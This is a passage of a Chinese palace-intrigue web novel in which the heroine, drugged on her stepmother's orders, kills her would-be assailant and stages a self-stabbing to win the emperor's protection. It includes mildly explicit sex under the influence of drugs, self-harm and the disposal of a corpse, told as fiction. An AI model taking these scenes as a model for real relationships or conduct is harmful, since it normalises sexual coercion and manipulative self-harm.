文氏一愣,“怎会?江澜因她怎配?再说皇后娘娘那边,还有慎儿的前程……” “蠢货!咱们再怎么答应了皇后,现在皇上就在侯府!你敢在皇上眼皮子底下弄鬼?快、快去叫停!若皇上不是为她来的,事后有的是机会处置她!” 靖威侯不敢走开太久,急急忙忙赶回顾辰枭身边伺候。 屋檐下,文氏眸光沉了沉。 皇帝真的是为江澜因而来?那逆女,在宫中做下了什么不要颜面的事,把皇帝给引来了? 当真就要这样算了? 江澜因得指婚,要嫁高门,文氏都受不了。更何况是天家……她真被皇帝纳了,师师可怎么办?就算往后能做皇后,也要平白矮江澜因一头。凭什么…… “娘……” 身后响起江慎沙哑的嗓音。 皇帝来了,自然惊动了侯府所有人,缠绵病榻的江慎也挣扎着起来,想在皇帝跟前露脸。 可他脸上被烛台砸出的伤口还未好全,靖威侯不让他上前。 江慎满怀怨恨,“皇上亲临侯府,本是一段佳话。要是被江澜因搅合进来,可就变成笑话儿了。往后儿子在这京城,只怕再也抬不起头来。更别说官复原职……” 文氏身上猛地一颤,下意识道:“不能让江澜因再害你一次。慎儿,你放心,绝不会。” 兰蕤轩那边,她不会叫停。 事情若闹到皇帝跟前去。 她这个侯府主母最多落一个治家不严。 江澜因却……死定了。 也不算侯府辜负皇后娘娘的嘱托。 堂上,过了许久,见江澜因还不来。窥着顾辰枭脸色,李渔有些急了。 他刚要把靖威侯拉到一边催促。 却见一个丫鬟跌跌撞撞跑上堂来。 “侯爷,小姐她、她……您快去看看吧!” 靖威侯眼皮猛地一跳。 他还不及说什么。 眼前卷过一道玄色身影。 是顾辰枭,径直走了过去,“你们小姐在何处,带朕过去。” 靖威侯心口狂跳,连忙跟上。 与门外候着的文氏、江慎汇合,一起急急奔着兰蕤轩而去。 紧闭的门扉内,传来一阵阵女子的泣音。 是江澜因的声音。 顾辰枭听得出。 那声音,是极力隐忍过,却又忍不住,丝丝缕缕地从唇边溢出。 她对着皇帝,都不曾如此。 一门之隔。 顾辰枭站住了脚。 脸色沉落下来。 江澜因竟是在里面,和男人苟且! 她刚才在宫中,还说自己连避火图都不曾看过!刚出宫不到两个时辰,就投入了旁人怀抱?这般如胶似漆…… 细白的牙紧咬着,顾辰枭怒极反笑,“好,靖威侯,你教养的好女儿。” 靖威侯此刻只觉得天都塌了。 可这当口,也不能供出皇后娘娘来。 他扑通一声跪下,语无伦次,“皇上,臣、臣是真的不知道,这逆女、这逆女她竟如此行事,她该死!该死啊!” 靖威侯身后,文氏也跟着跪下。 江慎离得远,也跪了,深深埋着头,掩住眸底的兴奋。 他是男人,看得出皇帝对江澜因有些意思。可现在,江澜因身子脏了,她完了,全完了。 只要江澜因背负着污名去死。 他江慎欺凌弱妹的罪名便不存在,早晚官复原职,还能照旧走他的青云路。 真好。江澜因快些去死吧。 “里面的,是什么人?你们可知道?” 皇帝声音中的怒意,如阴云中隐隐闪动的雷点,只怕顷刻间就要落下。 靖威侯嘴唇颤抖,不敢说话。 文氏心一横,颤巍巍道:“回皇上的话,里面的,怕是、是臣妇的侄儿。江澜因与他,自幼便交好的。不想她竟然、竟然……” 想把事情都栽在江澜因头上,怪她不检点,做实她的罪名。 顾辰枭黑沉的目光扫过来:“自幼便交好?既然侯府嫡女自有青梅竹马,还敢许配给朕的太子?靖威侯,你好大的胆子。” 一句话,靖威侯趴在地上,抖得爬不起来。 他怨恨地瞪了文氏一眼,“皇上,这些内宅事,臣当真不知啊!都是江澜因,是她欺瞒。臣不敢,臣不敢的!” 事到如今,江澜因死定了。 只能舍了她,保侯府。 推江澜因去死,靖威侯心里一点愧疚都没有。 房内,声音愈发大了起来。 是江澜因在嘤咛,“疼……用力,再使力些……” 其间,还隐隐夹杂男人的闷哼。 顾辰枭脸色铁青,众人不敢直视。 江慎开口:“皇上,江澜因她的性子,本就是这般放荡。太子殿下是被她给骗了。臣就因为一早就知道,又劝不住殿下,才想让她为太子殉葬。” 顾辰枭黑沉的目光看向江慎脸上,“这么说,你倒是一片忠君的好心?” 靖威侯心口一松。 女儿江澜因完了。至少,儿子江慎还在,如今又入了皇帝青眼,就要因祸得福。 江慎自以为得了皇帝嘉许,强压住兴奋,又道:“皇上,臣愿意为皇上,亲手惩处江澜因,以正门风。” 女儿家失贞,爹娘要她性命,旁人也说不出什么。 顾辰枭胸口剧烈起伏了两下,慢慢压住性子,眼中绽出冷意。 不过一个江澜因而已。 她不干净,骗了太子,险些也骗过自己这个皇帝。 该死,死有余辜。 顾辰枭扬起下颌,点了点头。 江慎飞快地与文氏对了一下眼神,踌躇满志地赶上来,提脚就要踹门。 之前,因为江澜因,他跌落下来。 现在要狠狠地踩着她的脸,报复回去。 顾辰枭已不耐看后面的戏码,转身想要离去。 突听得房内一声格外尖锐的哭叫: “父皇,父皇!” “你救救因因!因因不要!不要!” 身体的反应快过大脑。 玄色衣袖一卷,重重抽在江慎眼角,推得他后退几步。 顾辰枭一把推开眼前那扇门。 刺鼻的血腥味迎面扑出。 皇帝倒抽一口冷气,瞪大眼睛看着榻上的女人。 江澜因小脸通红,满脸是泪,身上瑟瑟发抖。遍布红痕的肩头上,被撕裂的寝袍随着她的动作滑落。 她跪在一片狼藉的榻上,紧紧地攥着手里的铜簪,一下下地,猛刺着自己心口。 鲜血流出,淌了满床。 榻下,横陈着一具男子尸体。 “痛……” 江澜因哭着,手中铜簪反而高高举起。这次,对准自己纤细的脖颈。 她口中轻声低吟,好像在给自己鼓劲儿。 “用力,再用些力气……” “死了,就再也不痛了。” 说着,她紧闭双眼,猛刺下来! 第17章 她是朕的女人 第十七章 她是朕的女人 “因因!” 一只大手猛地伸过来,攥住铜簪。力气之大,让发簪都为之微微弯折。 江澜因却没有任何反应。 依旧保持着刚才的姿势,徒劳地用力,拼命挣扎着。 她眼睛瞪得大大的,里面除了泪水,就只剩下茫然。裸露在外的肩膀上溅上了血迹,触目惊心。 “因因,你看着朕!是朕啊!” 身子被男人强硬地圈在怀里,终是失了力气,动弹不得。江澜因才缓缓抬头,她双目空茫,樱唇颤抖着轻启,“父皇?” “是,是朕!” 顾辰枭眼看着怀中的女孩眼睛一眨,泪水顺着脸颊滑落,冲散腮边血迹。 她嘴一扁,身上瞬间泄了力气。 顾辰枭感觉怀中的躯体软了下来,刚舒一口气。 “不是……” 江澜因突地低头一笑,眼泪大滴大滴落下,打湿身下的锦被。 “父皇要为我指婚,把我远远地嫁出去。他、他不要我了,他不会来的……” 顾辰枭心口猛地一滞,第一次产生了想开口解释的欲望。 下一刻,却见江澜因抬起梨花带雨的小脸,对他凄然一笑。纤细的腕子骤然发力,攥住那铜簪,重又猛刺下来。 “啊!” “皇上小心!” 一片混乱中,等在门外的靖威侯眼睁睁看着,那铜簪划过顾辰枭掌心,在那里留下一道小指长短的血痕。 江澜因她……疯了,竟然损伤龙体! 她没有活路了。 侯府不能为她陪葬! 靖威侯冲进房中,对着江澜因满是泪痕的小脸,高高举起手掌,“逆女,你好大的胆子!你罪该万死!” 下一刻。 靖威侯的手臂被大力格住。 他愣了愣,“皇上,这逆女,她……” “滚。” 靖威侯战战兢兢,“可皇上,您的伤,都是这逆女,她怎能……” 顾辰枭低头。 覆着薄茧的掌心,一道浅浅的伤口,慢慢渗出鲜红的血迹。 那铜簪很钝,伤不了人性命。 可江澜因,她心口深深的两三道划痕,是用了多大的力气,刺下去? 一边忍痛,一边还要鼓励自己,再用些力。 她不想活了,是因为…… 地上躺着的那个男人欺辱她,还是因为…… 自己不要她?要为她指婚? 无论怎样,江澜因都绝不能死。她不能出事! 顾辰枭缓缓合拢手指,血自指缝淋漓而下。“宣太医。” 片刻后。 太医院院判林太医带着一个医女,进了靖威侯府。 顾辰枭坐在榻边。 林太医把完脉,皇帝亲自把江澜因纤细的小手塞回榻上垂下的纱帐中。“她怎样?” “禀皇上,江姑娘心口的是皮外伤。所幸那铜簪不甚尖锐,伤口不深,微臣已经叫医女给她上过药了。慢慢养着,不会留疤。只是……” 林太医欲言又止。 他身后,江家人畏畏缩缩地站在一起,连头都不敢抬。 顾辰枭冷冷道:“说。” “是。江姑娘是饮食中被人下了大剂量的……媚药。如若不解,对身子危害巨甚,人也清醒不过来。” 顾辰枭面色愈冷,“可有解药?” “这……需得纾解出来,方才能好……” 一时间,室内一片死寂。 半晌,才听皇帝冷笑一声,道:“靖威侯,你当真是极好!” 扑通扑通几声。 江家人一齐跪下,身上抖如筛糠。尤其是文氏,更是惊骇欲死。若不是靖威侯的手在背后狠狠掐她,她几乎就要昏死瘫软过去。 靖威侯在心中暗骂蠢货,口中却只能道:“文氏,我把内宅交给你,你就是这么管的?” 推文氏出来,让她向皇帝解释。 文氏哪里敢说?嘴唇颤抖,好半晌挤出一句,“许是、许是他们年纪小,不懂事……臣妇真的、真的什么都不知道啊!” 一句话,还想把罪名按到江澜因身上。 皇帝的目光冷冷地在文氏脸上横刮过去,“她刚才挣扎得那么厉害,不惜去死。你说是她自愿的?” 文氏腰肢顿时吓软了,“皇上,臣妇不是,臣妇不知道……” 靖威侯狠狠掐了一把文氏,止住她的话。 才向皇帝叩首,“定是、是那男子背地里盯上了逆……小女,欲使腌臜手段。今日,若不是皇上在此,龙威震慑,只怕真要被他得手了去!皇上,是您救了小女一条性命!如此大恩,臣全家感铭五内啊!” 文氏和江慎反应过来,连忙跟着磕头。 皇帝面色愈发阴沉难看。 帐内,传来江澜因一声隐忍不住的轻吟。 顾辰枭闭了闭眼睛。 他不是不想惩处江家人。可要是罚了侯府,江澜因也会收牵连。 这小姑娘,再经不起这样大的打击了。 “滚下去吧。” “是、是!”江家人连滚带爬地出去。 门口处,靖威侯到底不甘心,“皇上,小女她……” 李渔这时候挡上来,“侯爷,皇上自有圣裁。” 他引着林太医和医女走出去,又回身为顾辰枭关好了门。 屋内,一时无比静寂。 只能听到纱帘内,江澜因隐忍的低吟,和身上衣衫淅索摩擦的声音。 透过那一层薄薄的轻纱,顾辰枭清楚地看见,小姑娘不知何时难耐热意,掀开了身上的被子。一双修长的玉腿紧紧并在一起,夹着锦被,身子左右拧着…… 刚才,她挣扎成那样,抵死不从。 现在呢? 纱帘无声地被掀开一个窄缝。 男人大手伸了进去。 “因因,别怕,是朕……你就当做,是在梦中吧。” 下一刻,一只滚烫的小手,游鱼一样,滑到男人掌心。指尖蹭过那道伤口,不痛,麻酥酥的。 “父皇,救我……” 男人身子猛地一颤,终是扣紧了那只手,合身压了上去。 …… 江家人不敢远走,垂手在兰蕤轩下立着。一个个脸色都难看得死人一般。 文氏缓过来,压不住心中悲痛,哽咽着: “可怜、可怜我那侄儿,竟就惨死……” 她话未说完。 “啪!” 一记重重的耳光,劈在脸颊。 文氏猝不及防,被打得身子一歪,额头猛地撞在一旁廊柱上,头晕眼花。 “母亲!”江慎愣住了,连忙去搀扶。 文氏捂着脸,头上金簪跌落,发丝狼狈地垂在面颊边。 她一张口,嘴角一阵疼痛。“侯爷,怎么打我?” “蠢货!我不是让你叫停,你怎么办事的?” 靖威侯指着紧闭的门扉,里面,正传来阵阵低喘声。 他压低嗓音,口沫几乎要飞到文氏脸上。 “你到现在还不明白?江澜因她,往后就是皇帝的女人了!你得罪不起!” 第18章 她要入宫了 第十八章 她要入宫了 文氏捂着脸,眼神飘忽不定。心中不甘,此刻又不敢说出来。 江慎:“爹,娘也是为了江澜因好,为了侯府好。谁想得到,她那么不要脸,居然勾搭皇上……” “住口!你也给我住口!” 靖威侯低吼,“从今日起,侯府不准再说她一个不字!” 开什么玩笑? 江澜因可是皇帝的女人,是娘娘了。 岂是他们能随意议论的?不要命了?捧着、供着还来不及! 靖威侯:“今日之事,不准往外说。不然,你有几个脑袋,都不够砍的!还有……”他顿了顿,眸中尽是阴狠之色,看向文氏,“你那个侄儿死就死了,死有余辜!划花了脸,扔进乱坟岗里去!” 文氏又痛又气,浑身乱颤,“怎可以?那孩子被江澜因害得那样惨,死后还不得安宁?” “你若舍不得,就滚回你的文家去。” 靖威侯一句话,堵得文氏说不出话来。 “你那侄子不处理干净,难道等着皇上查出来那人是你找的?这罪责,你们文家承担得起?” 文氏身子一软,好似脊梁骨都被人抽去。 她的娘家不能、不能留下这样的污点! 不然,然师师将来为娘家所累,当不上皇后怎么办? 文氏终是低了头,“……是。” 靖威侯看向江慎:“你去。帮着你娘,把人处理干净了。” 江慎眼中全是不甘。 他刚才,距离一步登天那样近,却被人一脚踹了下来。 都怪江澜因!江澜因该死! 房中,轻纱帐里。 江澜因身子软得好似水一般。 和在灵堂里那次,感觉不一样。 那次,皇帝也中了药,横冲直撞,她只能承受,强忍着。可现在…… “因因,别怕。” 男人嘶哑的嗓音,在耳边响起。 顾辰枭强忍着冲动,很轻很温柔地动作,生怕碰疼了小姑娘。 江澜因半阖着眼,眸光微闪,时而咬唇,时而口中轻声低吟。一双纤细的腕子上举,一只手紧紧扯住枕头。 另一只,无声地摸到枕下,将带血的银簪推至更深处。 银簪子锋利,用来杀人。 铜簪子钝,用来做戏。演一个心里只有皇帝的贞洁烈女。 男人动作下,江澜因腰身挺起,随之摇摆,口中轻吟。 她清楚地知道,一墙之隔,江家人就侯在外面。皇帝不发话,他们只能听着,气着,忍着。 什么都不敢做。 “嗯……” 江澜因别过脸去,咬紧嘴唇,拼命隐忍的模样。 心中却只觉好笑。 如今,侯府都知道皇帝对她有意思。从今往后,再不敢有人欺她、害她。 是皇帝选择了她,定会对她有个说法。 她就要进宫了。 她又赌赢了。 身心极致的愉悦中,江澜因失神,慢慢闭上了双眼。 第二日清晨,雪停了。 江澜因醒来时,身边已经空无一人。 她轻咳一声。 立刻听到帘外有淅淅索索的动静。随即响起春枝的声音。 她声音发颤,激动得不行:“小姐,皇上早朝,天没亮就走了。临走赏赐了咱们院里好些东西。” 雪色:“别一副没见过世面的模样,凭他是什么好东西,往后咱们小姐要多少就有多少!” 两个丫鬟都兴奋极了,都知道,她们的小姐熬出头了! 春枝:“皇上临走时,发作了大少爷。说大少爷心性浮躁,不堪大任。说他世子的位置还要再考量。还让他在雪地里跪两个时辰,大少爷现在还跪着呢。” 雪色也道:“侯夫人出去的时候,奴婢瞧见,她脸巴子上肿了好大一块!叫她害小姐,她真是活该!” 两个丫鬟叽叽喳喳,你一言我一语地说着笑着,扶江澜因起身,为她擦洗、更衣、梳妆。 装扮好了,有大丫鬟过来:“侯爷说,小姐若是醒了,请小姐过去一趟。” 江澜因淡淡道:“我身子倦怠,今日就不去了。” “可侯爷和夫人都说,是急事,还请小姐过去。” “他们真急,该来见我。” 片刻后。 靖威侯和文氏一前一后,一起来了。 文氏面上敷了厚厚一层粉。她一开口,便隐隐带着些指责的意味: “因因,往后你身份不同,自该勤勉谨慎些。如今倒是每日请安都不肯来了,你这样的性子,将来可怎办?” 江澜因淡淡看她一眼,似笑非笑,“娘,我身子不适,是丫鬟没通传过吗?” 文氏滞了一下,开口还要教训。 靖威侯:“够了,别说那些有的没的,平白招惹女儿烦心。” 文氏抿了抿唇,不说话了。 靖威侯凑过来:“好女儿,皇上看重你,是大喜事。你这孩子,怎么瞒着爹娘?昨日皇上来,爹险些失礼,都是你的不是。” “我说过的,是爹不信。” 靖威侯面上飞快地闪过一丝尴尬,“如今好了,风波都过去了,因因你也别再计较。皇上昨日已许了你入宫。你往后,也是天家妇了。” 到如今,靖威侯还觉得脚下直发软,好似踏在云里一般。 女儿就这么从太子准妃,变成了皇帝的妃嫔。 只是皇帝一句话的事。 “只是,为父想着,你从前的身份,到底不好。和你娘商量过了,过几日就开宗祠,把你的身份,和你表妹调换一下。她已是殉了太子,就叫她做江家的嫡女,侯府的小姐。你将来,顶着文家女的身份,半月后与秀女一起入宫。这样最好,不伤君父的颜面,你也不会少了侯府的疼爱。” 江澜因纤细的手指,摩挲着手中的碧玉茶盏。 突地笑了。 “是爹的主意,还是皇上的意思?” 靖威侯还想粉饰两句,对上江澜因黑沉的一双眸子,不自觉说了真话:“皇上提点了几句,法子是我和你娘想了一夜想出来的。这样最好。” 江澜因勾唇冷笑。 皇帝想要她,终是允了她入宫。可到底抹不开颜面,不愿叫人说是父夺子妻,才想了这么一个法子,给她改换门庭、身份。 又叫她混在半年前就选好的一批秀女中入宫,谁也注意不到她。还是要逼着她隐藏自己的身份。 江澜因本不在乎那些虚的,也不在乎侯府。 换个身份,不是不行。 可这般行事,她不愿意。 对上文氏满是算计的双眸,江澜因静静笑了。 凭什么她侯府嫡小姐,和太子的婚约,要让给表妹?做梦! 她不要的,宁可毁了,也绝不会便宜文师师! 第19章 文氏去看表姑娘,行踪败露 第十九章 文氏去看表姑娘,行踪败露 “因因,爹的话,你听见没有?” “我和你娘这样,全都是为了你好。你若是连这都不肯,也不必入宫了!” 靖威侯刻意加重语气,还想如从前那般震慑江澜因。 却见女儿目光缓缓从茶盏边缘升起,看了他一眼,淡淡道:“那女儿不入宫便是。” “什、什么?” 靖威侯几乎跳起来,“入不入宫,岂是你能决定的?那是皇命。” “原来爹爹也知道,是皇命。” 江澜因突地挑了挑樱唇,脸上浮现明艳的笑意,“爹爹明明知道,还讲这种话,是特意难为女儿,还是要抗旨不遵?” “因因,为父没有!我和你娘只是……” “呵……” 一声轻笑,截断了靖威侯辩解的话。他看着江澜因眼中冷意如浮冰一般破裂,露出盈盈笑意。 却让人平白觉得心口发沉。 “爹,女儿笑说呢。看把您吓得。” 靖威侯:“……” 文氏拧眉,张了张口要说话。 江澜因放下了茶盏,碧玉圈足在桌案上磕碰出清脆声响。 “娘,您看。昨日因因说的,是与不是?” 文氏一愣。 江澜因笑意更甚,“女儿不是说过,表妹已经死了,往后娘只是靠女儿了吗?事到如今,娘信是不信呢?” “江澜因,你表妹是替你死的,你怎能说这样的话?”文氏终是压不住悲愤的情绪,“还有……昨日,那是你表哥,你怎能下这样的狠手?那孩子的尸身都毁得不成样子,下面都要扎烂了!我怎么就生了你这么个狠心短命的,不像你表妹……” “是啊,我不像表妹。”江澜因的笑容灼灼其华,“女儿还有大好的前途,可怜表妹,黄土一埋,什么都没了。” 看着文氏的手指在衣袖掩盖下瞬间抽搐着攥紧,江澜因愉悦地笑了。 她娘文氏,疼爱表妹文师师,把她视若己出,处处都要文师师跟江澜因这个侯府千金小姐作比。文师师有的,江澜因不一定有。江澜因有的,文师师只会有更多、更好。 江澜因没猜错的话,文氏就快要耐不住性子了。 晚些时候,雪色来报: “小姐让奴婢看着西角门,果然奴婢瞧见侯夫人换了身酱紫色不显眼的衣裳,坐小轿出门了。” 江澜因杏眼转了转,“我们也去。” 前世,太子顾言泽和文师师“死而复生”后,为了面子上好看,对外只说太子是体察民情,游历天下。 文师师还把她在外面这十年游览的见闻,写成诗集游记,四处宣扬。所以江澜因对他们的行程路线也有一个大概的印象。 知道这个时节,两人都还未离京,要等春暖花开再走。 但具体藏身在什么地方,她就不知道了。 幸亏,有文氏领路。 车马碌碌,停在京城东南角外的黑石镇杏花村,一处极幽静的温泉庄子上,院里还栽了大片梅花。如今全都开全了,远远看去,如花云一般,空气中尽是凌冽寒香。 江澜因一看就笑了。 这是文氏的庄子。她的好娘亲,果然从一开始就什么都知道。 “小姐,我们进不进去?” 江澜因冲雪色嘘了一声,拉着她下车,躲在门外一棵枯树后面。 这时,一身酱紫色外衫的文氏走了出来,到门口处,又戴上帏帽,谨慎地把一张脸挡得严严实实。 跟在她身后送出来的年轻女子,身姿袅娜,面容白皙。 额头系着三指宽的白纱,遮挡还未好全的伤口。 “那是、是……表小姐?妈耶,有鬼!”雪色惊骇莫名,眼睛瞪得圆圆的。 “小声些。”江澜因指着地上,“她有影子,不是鬼。” 明白过来,雪色脸色比刚才更苍白了。 满盛京,谁不知道靖威侯府的表姑娘为太子殉死?老爷夫人还要把她正式记上侯府家谱呢。 若被人知道表姑娘还活着…… 那可是欺君!要满门抄斩的。 “师师,你在庄子上受苦,江澜因却在家中享福。我这心里,真不是滋味。难不成,你就真打算和太子没名没分地,躲在这庄子上一辈子……” 文师师白皙的面孔与文氏也有些相像。 她拍了拍文氏手背,安慰道:“姨母,太子殿下胸怀大志。等我们整顿好了,自会离京,四处去游历。您不必担心我。我和表姐那种高门贵女终是不一样的,她的志趣在后宅,我却想看看这天下江山。” 一番话说得冠冕堂皇,江澜因却只想笑。 文氏更心疼了,“你懂事,心胸开阔。可她、她竟是要入宫了!她这性子,只怕她在宫中又翻出什么风浪,反倒害了侯府。她还是不入宫的好,太子殿下能不能……” “姨母,这等小事,不要叨扰太子殿下。”文师师眼珠微转,“表姐这样确实不好,会连累太子清誉,对皇上声誉也有损。我想想法子吧,总归不让姨母操心担忧就是了。” “师师,到底是苦了你了。” 终于见到文氏往外走,江澜因连忙拉着雪色离开。 等上了马车,雪色人还是愣着的。 “小姐,表姑娘没死,她殉葬就是假的。听她话中意思,太子殿下竟也还活着!侯夫人明明知道,还逼着你为太子守寡,这、这……这不是要害你一辈子吗?” “是啊。”江澜因低声道。 上辈子,被他们如愿以偿,害得她好苦! “他们怎么能这样?小姐,咱们去告诉皇上,让皇上为您做主!” 下意识地,雪色把顾辰枭当成了江澜因的依靠。 “不能说。” 江澜因攥住雪色的手,严肃地看进她眼睛里去。 “太子死了,天下为之居丧百日。这时候,他没死的消息传出来,谁倒霉?” 雪色愣了,“该是太子倒霉……不对,是、是那个传消息的人。” “还不算太笨。”江澜因掐了一下雪色脸颊,“太子是皇帝亲生血脉,他就算把天捅破了,也有人担着。但侯府会倒霉,倾覆,还会连累我的前程。” 雪色哭了,“难道要忍着?可小姐,你太委屈了。” “不委屈。” 江澜因眼眶有些发热,却一滴眼泪都流不出来。 “我要让皇上自己发现,他的宝贝儿子还活着,骗了他。太子既然那么喜欢表妹,我要让他们两个一起当我往上爬的踏板。” 现在,父夺子妻的道德压力把顾辰枭压抑得越厉害。 等他知道好大儿还活着时候,他就会有多愤怒。 这把怒火,会不会烧尽了何贵妃的恩情,会不会为未来的王朝换一个主人呢?江澜因期待得不行。 另一边,坤宁宫中。 大宫女双手捧着黄皮折子,恭恭敬敬奉在何皇后眼前。 “皇后娘娘,您拟定的秀女入宫位份条陈,御前太监给送回来了。” 何皇后一愣,惊诧道:“怎么?本宫拟的单子,皇上不满意?” 这一批秀女,一早就选过,核准了名单。如今太子薨逝,天下居丧,朝臣却以皇帝膝下子嗣太过于单薄为由,一再奏请秀女入宫时间不要后延。 皇帝允准了。 但这等小事,一向都是何皇后说了算,递交条陈也不过是走个过场。 没想到皇帝却不允。 何皇后拿过折子,面色微沉。 “是哪个小贱人勾引皇上,还未入宫,就想着升位份?” 第20章 江澜因贪图嫁妆 第二十章 江澜因贪图嫁妆 “娘娘,是黄家秀女,还有……” 大宫女话还未说完,何皇后已啪地一声翻开了折子。 她飞快地扫过一排排小字,目光猛地一凝。 “黄琳琅……” 何皇后咬牙切齿。 黄家父兄得顾辰枭扶植,门第虽比不上何家,却也是这几年窜上来的新贵。他家嫡长女黄琳琅容貌美丽,德才兼备,充作秀女入宫。 何皇后原本为她拟了个不大不小的才人。 被顾辰枭用朱笔勾了,旁边一行小字,“晋贵人”。 比才人高一级。 足见皇帝的偏爱。 是偏爱黄琳琅这个人,还是要继续扶植黄家,与何家这样的老牌世家打擂台? 无论怎样,何皇后对这个黄琳琅都喜欢不起来。 “罢了。贵人就贵人。”何皇后咬牙,冷笑一声,“同一批次进宫的秀女都是才人,只有她一个贵人,位份最高。就等着成为众矢之的吧。” 套着护甲的手往后翻了一页。 只是随便一瞥,眼睛却骤然瞪大。 何皇后脸色难看,连呼吸都变得急促,一字一句念出:“江、澜、因!” 这贱人,竟然没死。还要入宫! 何皇后只觉右眼角一阵抽搐,眼皮跳得她心烦意乱。“冷嬷嬷,这是怎么回事?” “老奴正要禀过娘娘,太医院院判林太医求见。昨晚,是他去了靖威侯府。” 何皇后脸色一沉,“宣!” 片刻后。 听完林太医的话,何皇后盛怒。“贱婢!贱婢!靖威侯是怎么教她的,竟养出了这样不知廉耻的东西来!还妄想进宫,侍奉圣驾!有本宫在一日,必不能让她如愿!” 冷嬷嬷劝:“娘娘,可是圣意已决。御前太监说,那江姑娘的名字,是皇上亲手加上去的……” 就算是皇后,只怕也拦不住。 何皇后喘息稍定,倏地一抬眼,“哪个御前太监?叫他上来!” 片刻后,李渔跪在堂下。 “是你啊。”何皇后眼中闪过一丝狠戾,“本宫记得,你原来是伺候太子殿下的人。如今,倒是给自己谋了个好去处。” 不等李渔说话,何皇后厉声道:“冷嬷嬷去,给本宫搜他的庑房!” 李渔一惊,“皇后娘娘,奴才无错,为何……” “你无错?”何皇后冷笑,“不急,搜搜看,本宫不信你什么错处都没有!” 片刻后。 冷嬷嬷手里捧着一叠女装入殿,“皇后娘娘,您瞧,这、这不是……” “果然是你。”何皇后伸手捻起其中一件轻薄白裙,松了手。 那裙子飘飘忽忽落地,被皇后死死踩在脚下。 “这是江家那贱婢为太子守灵那一日穿的衣裳。为何会在你手里?李渔,你想清楚了再说,不然,这东西要是呈去了御前,你自己想,可还有活路?” 李渔脸色惨白惨白,嘴唇颤抖着,僵持半晌。 终是重重磕下头去。 另一边,靖威侯府。 江澜因要与秀女们一起入宫,日子就在半月后。时间紧,侯府忙着给她收拾衣物,准备嫁妆。 按说秀女入宫,娘家备下丰厚嫁妆,不过是走个过场。 日后还会赐还母家。 其它秀女家中,为了女儿荣耀,有颜面,都准备丰厚嫁妆,百抬之多。唯有侯府—— 文氏:“江澜因,你这般入宫,不光彩。我与侯爷商量过了,嫁妆不宜太多,给你添到十六抬,尽够了。” 就算知道这嫁妆事后会被赐还回来,文氏还是舍不得给江澜因好东西。 她自己的嫁妆早分成了两份。 一份备着给江慎将来尚郡主,另一份留给文师师。 就算将来为后,百抬嫁妆抬进宫中,也是她的体面。 本就没有江澜因的份儿。 江澜因听了,只是淡淡一笑,“不光彩?娘的意思,是怪皇上,不该纳女儿入宫?” “怎敢怪皇上?还不是你……” “那就是怪爹爹,不该送女儿入宫。”江澜因作势起身,“女儿去找爹爹,问个清楚。爹爹若真嫌女儿丢了侯府的脸,女儿宁可一头撞死,也不入宫了。” 文氏不敢让江澜因去,连忙拦住,“娘都是为了你好!你非要那些虚面子,虚礼,娘成全你。再为你添妆就是了。” 她语气柔和,带这些抱怨,似真的是在为江澜因想。把怨毒的情绪藏得很深。 “还请娘为女儿添妆。女儿不求别的,和旁的秀女一样便好。总不能叫女儿为了入宫,侯府嫡小姐的身份没了,本属于女儿的嫁妆也没了吧?” 文氏面皮轻颤,只能忍下,“……好。” 反正那些嫁妆,抬出去转一圈,还是要回到侯府,回到自己手上的。 江澜因:“娘,您是不是有个京郊的温泉庄子?女儿想要。” 文氏猛地一愣,“不行!” 她反应过激,连忙找补:“那庄子……温泉早已干涸,现在种梅花,没什么收入,不好……娘再给你更好的。” “我就想要那个。”江澜因故作小女儿的娇嗔状,“娘,您要是不依我,女儿找爹爹要。不然,进宫请皇上为女儿做主。” 文氏吓得手脚发凉。 那庄子,要是入了皇帝的眼,只怕后患无穷! 会害了师师的! 文氏肉疼得直咬牙,“你这孽障,就知道挑拣娘的东西。罢了罢了,那庄子就给你陪嫁。等你日后看见它荒芜,可不许哭。” “多谢娘。”江澜因笑了,“女儿现在就想去看看。” 可她到底没能去成。 宫中,何皇后送来帖子,请文氏带江澜因入宫,参加赏梅宴。 江澜因已定了婆家,就要入宫为妃,这本不合规矩。但靖威侯打听到,黄家已入选的秀女也在被邀之列。 “这是皇上、皇后娘娘对你二人的看重,不可不去。江澜因,你入宫,千万别丢了侯府的颜面!” 到了正日子,文氏一早打扮好。 她本是侯夫人,身上有诰命,只是品级不高。这些年,侯府又没落,很少有进宫的机会。 一入宫,瞧见满目的衣香鬓影,金碧辉煌,只觉有些眩晕。 她自己知道,这次,是托了江澜因的福,才能进宫。她的女儿,也算是为她争脸。 文氏用力攥了攥手指,护甲刺痛掌心的痛感,让她清醒。 江澜因这不算什么…… 就算她能入宫,得皇帝的宠幸,她也不过是个妃嫔,是妾。 可师师,她的宝贝文师师,将来可是皇后!她才是能真正振兴侯府的人!得快些,把她二人的身份,在侯府族谱上调转过来。 正沉吟,突听得身后一道柔柔的声音响起: “这位就是江姐姐吧?怎么好好儿地太子准妃不当,非要跟我们这些秀女抢风头呢?” 第21章 入宫赴宴 内容加载中...... 第22章 江澜因应战 内容加载中...... 第23章 死罪!朕与江氏死生不复见 内容加载中...... 第24章 她是无辜的 内容加载中...... 第25章 朕的女人,谁敢瞧不起? 内容加载中...... 第26章 江澜因,封嫔! 内容加载中...... 第27章 去温泉山庄,捉太子 内容加载中...... 第28章 入浴 内容加载中...... 第29章 江澜因收买人心 内容加载中...... 第30章 抓到表妹的贴身丫鬟 内容加载中...... 第31章 太子要见江澜因 内容加载中...... 第32章 当着太子的面,与皇帝亲热? 内容加载中...... 第33章 皇帝封了温泉山庄 内容加载中...... 第34章 皇帝察觉了,她有人? 内容加载中...... 第35章 江澜因变心? 内容加载中...... 第36章 表姑娘的郡主没了 内容加载中...... 第37章 皇帝要走了 内容加载中...... 第38章 搜温泉山庄,什么人这样大胆? 内容加载中...... 第39章 你想念太子吗? 内容加载中...... 第40章 她为太子自戕? 内容加载中...... 第41章 太子为她拼了命 内容加载中...... 第42章 她见弃于皇帝? 内容加载中...... 第43章 表姑娘找到了 内容加载中...... 第44章 表姑娘找到了 内容加载中...... 第45章 又诬陷江澜因? 内容加载中...... 第46章 侯爷要杀表姑娘 内容加载中...... 第47章 太子今日就来接她 内容加载中...... 第48章 侯府乱作一团 第四十八章 侯府乱作一团 念头飞快闪过脑海,又消逝无踪。靖威侯没能抓住。 文氏却被这一句话吓得浑身瘫软,艰难地抬起袖子,装作拭泪的模样,挡住抽搐的脸颊。 江慎没听懂,大喊大叫:“江澜因,你少说风凉话!师师就是被你逼得在家中容身不下,才要假死脱身!你现在竟还要来逼她,你恶毒!” 